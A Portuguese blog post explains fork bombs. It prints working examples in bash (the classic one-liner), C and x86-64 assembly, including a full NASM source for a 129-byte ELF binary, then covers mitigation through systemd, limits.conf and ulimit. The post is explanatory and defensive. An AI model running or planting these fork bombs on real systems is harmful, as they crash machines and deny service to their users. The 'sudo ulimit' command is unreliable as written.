Fork bomb: Do Código à Defesa

A primeira vez que ouvi falar de fork bomb foi há bastante tempo. Embora achasse fascinante um código que gera outros dois processos de si mesmo, causando crescimento exponencial de processos e eventualmente travando o sistema, eu não acreditava que fosse um ataque viável até descobrir quantos sistemas são vulneráveis à injeção de código.

O que é um fork bomb?

Em linhas gerais, um fork bomb é um código que gera processos recursivamente. O primeiro processo gera cópias de si mesmo, e essas cópias geram mais cópias, e assim por diante, até que o sistema fique sem recursos e trave. O resultado é um ataque DoS (Denial of Service).

O maior problema é que qualquer sistema que permita alguma forma de execução de código por usuários está vulnerável, porque criar processos é uma operação permitida justamente para possibilitar a execução de programas. Então, acaba sendo difícil impedir a execução de uma fork bomb. É possível limitar o impacto limitando o número de processos que um usuário pode criar, mas isso não impede que o ataque ocorra e, muitas vezes, apenas irrita usuários legítimos.

Como funciona um fork bomb?

O código a seguir é um exemplo clássico de fork bomb em bash:

:(){ :|:& };:
  • : é o nome da função; poderia ser qualquer coisa.
  • (){} define uma função.
  • : chama a função que acabou de ser definida.
  • | é o operador pipe (aqui funciona como um ‘ou’ lógico), no sentido prático faz com que execute as duas partes do comando.
  • & coloca o comando em background.
  • ; termina o comando; nesse ponto, a função foi definida, mas ainda não foi chamada.
  • : chama a função.

Então, o que o código bash está fazendo é definir uma função chamada : que chama a si mesma duas vezes, uma em background e outra em primeiro plano. Isso faz com que o processo pai gere dois processos filhos que, por sua vez, geram mais dois processos filhos e assim por diante.

Esse é o padrão de uma fork bomb: um processo pai gera dois processos filhos que, por sua vez, geram mais dois processos filhos e assim por diante.

E possível fazer uma fork bomb em qualquer linguagem que permita a criação de processos. Aqui vão mais dois exemplos, um em C e outro em assembly.

// gcc -o forkbomb forkbomb.c
#include <unistd.h>

int main() {
loop:
    fork();
    goto loop;
}

Criei o exemplo abaixo como um desafio para fazer o menor fork bomb possível; ele tem apenas 3 instruções.

global _start   ; define o ponto de entrada como '_start'
_start:
    mov rax, 57 ; número da syscall para fork no x86-64 Linux
    syscall     ; executa a syscall
    jmp _start  ; loop infinito

O arquivo final poderia ser ainda menor, mas não seria um executável ELF válido. Até seria possível inserir o código no cabeçalho, mas o máximo que eu ganharia seriam alguns bytes; então, não vale a pena.

De qualquer forma, aqui está o código para compilar o fork bomb em assembly, definindo o cabeçalho.

; nasm -f bin -o forkbomb_elf forkbomb_elf.asm
bits 64
            org 0x08048000
ehdr:                                   ; Elf64_Ehdr
            db  0x7F, "ELF", 2, 1, 1, 0 ;   e_ident
    times 8 db  0
            dw  2                       ;   e_type
            dw  62                      ;   e_machine
            dd  1                       ;   e_version
            dq  _start                  ;   e_entry
            dq  phdr - $$               ;   e_phoff
            dq  0                       ;   e_shoff
            dd  0                       ;   e_flags
            dw  ehdrsize                ;   e_ehsize
            dw  phdrsize                ;   e_phentsize
            dw  1                       ;   e_phnum
            dw  0                       ;   e_shentsize
            dw  0                       ;   e_shnum
            dw  0                       ;   e_shstrndx

ehdrsize    equ $ - ehdr

phdr:                                   ; Elf64_Phdr
            dd  1                       ;   p_type
            dd  5                       ;   p_flags
            dq  0                       ;   p_offset
            dq  $$                      ;   p_vaddr
            dq  $$                      ;   p_paddr
            dq  filesize                ;   p_filesz
            dq  filesize                ;   p_memsz
            dq  0x1000                  ;   p_align

phdrsize    equ     $-phdr
_start:
            mov rax, 57                 ; Número da syscall para fork no x86-64 Linux
            syscall                     ; Executa a syscall
            jmp _start                  ; Salta de volta para o início do loop
filesize    equ $ - $$

código fonte

Esse código deve gerar um executável para um sistema x86-64 de 129 bytes, o menor fork bomb que eu consegui fazer.

Prevenindo Fork bombs

Sistemas modernos que usam systemd são bem menos suscetíveis a fork bombs. O systemd agrupa os processos e também pode limitar o número de processos que um usuário pode criar. Mas, dependendo das configurações, você não conseguirá nem mesmo fazer login. Processos que já estão rodando continuarão rodando, mas o sistema ficará muito ocupado lidando com a quantidade enorme de processos. Se você estiver logado e tentar criar outro processo, receberá uma mensagem como fork failed: resource temporarily unavailable, isso significa que não da para executar nenhum prpgrama.

A melhor forma de limitar o impacto de um fork bomb é restringir o número de processos que um usuário pode criar. Isso pode ser feito no arquivo /etc/security/limits.conf.

usuario hard nproc 10

Onde usuario é o nome do usuário e 10 é o número máximo de processos que ele pode criar. Além de limitar o número de processos que um usuário pode criar, esse arquivo permite muitas outras configurações de limites. Se você está interessado em segurança, vale a pena dar uma olhada.

Você também pode restringir o número de processos com o comando ulimit.

sudo ulimit -u 800

Limitar a quantidade de processos funciona mas também impede que usuários legítimos criem muitos processos. Portanto, é necessário encontrar um equilíbrio.

Conclusão

Fork bombs são ataques DoS simples e efetivos. Qualquer sistema que permita a execução de código por usuários está vulnerável. Embora seja possível limitar o impacto de um fork bomb, é difícil impedir que ele seja executado.

Vídeo com a demonstração de um fork bomb no YouTube:

Cesar Gimenes

Última modificação